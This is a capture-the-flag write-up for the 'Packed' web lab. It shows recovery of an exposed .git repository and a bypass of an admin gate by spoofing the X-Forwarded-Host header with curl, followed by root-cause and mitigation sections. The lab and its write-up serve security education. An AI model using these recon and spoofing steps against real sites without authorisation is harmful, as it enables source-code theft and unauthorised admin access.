Exposed Git Repository Leads to Header-Based Admin Bypass | Packed
Lab Link
Overview
Packed was a WebVerse Pro challenge built around a small Express-based arcade game application.
At first glance, the application looked like a simple Chomp/Pac-Man style game with score telemetry and a scoreboard API. Initial testing showed that the game accepted client-controlled state updates, but spoofing high scores did not expose the flag.
Further route discovery revealed an /admin endpoint protected by an access-control check. The real issue was found after discovering that the live server exposed its .git repository. By recovering the source code, it became clear that the admin gate trusted the wrong forwarded header.
The application attempted to restrict /admin access based on an internal/operator address, but it compared X-Forwarded-Host against a trusted IP value. Since this header was fully user-controllable, sending the expected value unlocked the admin page and revealed the flag.
Objective
The goal was to identify the hidden vulnerability, bypass the admin restriction, and retrieve the flag from the protected admin console.
Vulnerability Identification
The vulnerability chain consisted of two issues:
- Exposed
.gitrepository- The server exposed
/.git/HEAD. - This allowed recovering the application repository from the live deployment.
- The server exposed
- Header-based access control bypass
- The recovered source showed that
/adminwas protected by anownerOnlystyle check. - The check trusted the
X-Forwarded-Hostheader. - The expected value was
203.0.113.7. - Because the client could supply this header directly, the restriction was bypassable.
- The recovered source showed that
This made the exposed Git repository the discovery vector and the trusted-header mistake the final access-control flaw.
Recon and Approach
The first step was to inspect the public application.
1
curl -i -L https://<redacted-lab-host>/
The application returned a small Express-based arcade game. Client-side JavaScript hinted at API-driven game state handling, so the static assets and API endpoints were reviewed.
A telemetry endpoint was identified:
1
2
3
POST /api/state HTTP/2
Host: <redacted-lab-host>
Content-Type: application/json
A browser-shaped request returned a successful heartbeat response:
1
2
3
4
5
6
7
8
{
"sid": "0123456789abcdef",
"alias": "PELLET-AA",
"score": 0,
"level": 1,
"lives": 3,
"status": "READY"
}
The server accepted valid telemetry and returned 204 No Content, but manipulating scores and game state did not reveal the flag.
A targeted route sweep then identified interesting routes:
1
2
3
4
/admin
/api/state
/api/scores
/.git/HEAD
The /admin route existed but returned a branded 403 operator-console response.
The key discovery was the exposed Git metadata:
1
curl -i https://<redacted-lab-host>/.git/HEAD
A valid Git reference confirmed that the repository metadata was exposed.
Exploitation
Step 1: Recover the Exposed Repository
Since /.git/HEAD was accessible, the deployed repository could be recovered.
1
git clone https://<redacted-lab-host>/.git recovered-site
After cloning the repository, the source code and commit history were reviewed.
1
2
cd recovered-site
git log --oneline
The recovered code showed that the flag was not stored directly in the static client files. Instead, the admin page rendered the flag from an environment variable:
1
process.env.FLAG
This meant the flag had to be retrieved through the protected /admin route.
Step 2: Inspect the Admin Gate
The source revealed that /admin was protected by a custom access check.
The intended logic appeared to restrict access to a trusted internal/operator address. However, the implementation trusted the wrong user-controllable header:
1
req.get("X-Forwarded-Host") === "203.0.113.7"
This was a security mistake because X-Forwarded-Host is not a reliable client identity signal. Unless a trusted reverse proxy strips and rewrites this header, an attacker can supply it directly.
Step 3: Spoof the Trusted Header
With the required value known from the recovered source, the admin route could be requested with the spoofed header:
1
2
curl -i -s https://<redacted-lab-host>/admin \
-H "X-Forwarded-Host: 203.0.113.7"
The server accepted the spoofed header and returned the protected admin console.
Proof and Flag
The final request used the spoofed X-Forwarded-Host header to access /admin.
1
2
3
GET /admin HTTP/2
Host: <redacted-lab-host>
X-Forwarded-Host: 203.0.113.7
The response contained the flag:
1
WEBVERSE{REDACTED}
Root Cause
The root cause was a combination of deployment misconfiguration and insecure access-control logic.
The application exposed its Git repository on the production web server. This leaked implementation details, including how the admin authorization check worked.
The admin check then relied on a request header controlled by the client. Since the server trusted X-Forwarded-Host directly, an attacker could forge the expected value and bypass the operator-only restriction.
Impact
An attacker could:
- Recover the deployed application source code.
- Inspect hidden routes and authorization logic.
- Discover the exact header value required to access the admin console.
- Bypass the
/adminrestriction. - Retrieve sensitive data exposed only to operators, including the flag.
In a real-world application, this pattern could expose source code, secrets, internal logic, administrative functionality, and production environment data.
Mitigation
To prevent this issue:
- Never expose
.gitor other source-control metadata from a production web root. - Block access to hidden development artifacts such as:
.git/.env- backup files
- source maps
- deployment scripts
- Enforce admin access control using authenticated sessions and server-side authorization checks.
- Do not trust client-supplied forwarding headers directly.
- Only consume
X-Forwarded-*headers from a trusted reverse proxy. - Configure the reverse proxy to strip untrusted incoming forwarding headers.
- Use framework-level trusted proxy settings carefully and explicitly.
- Add deployment checks that fail builds if
.gitor secrets are present in the served directory.
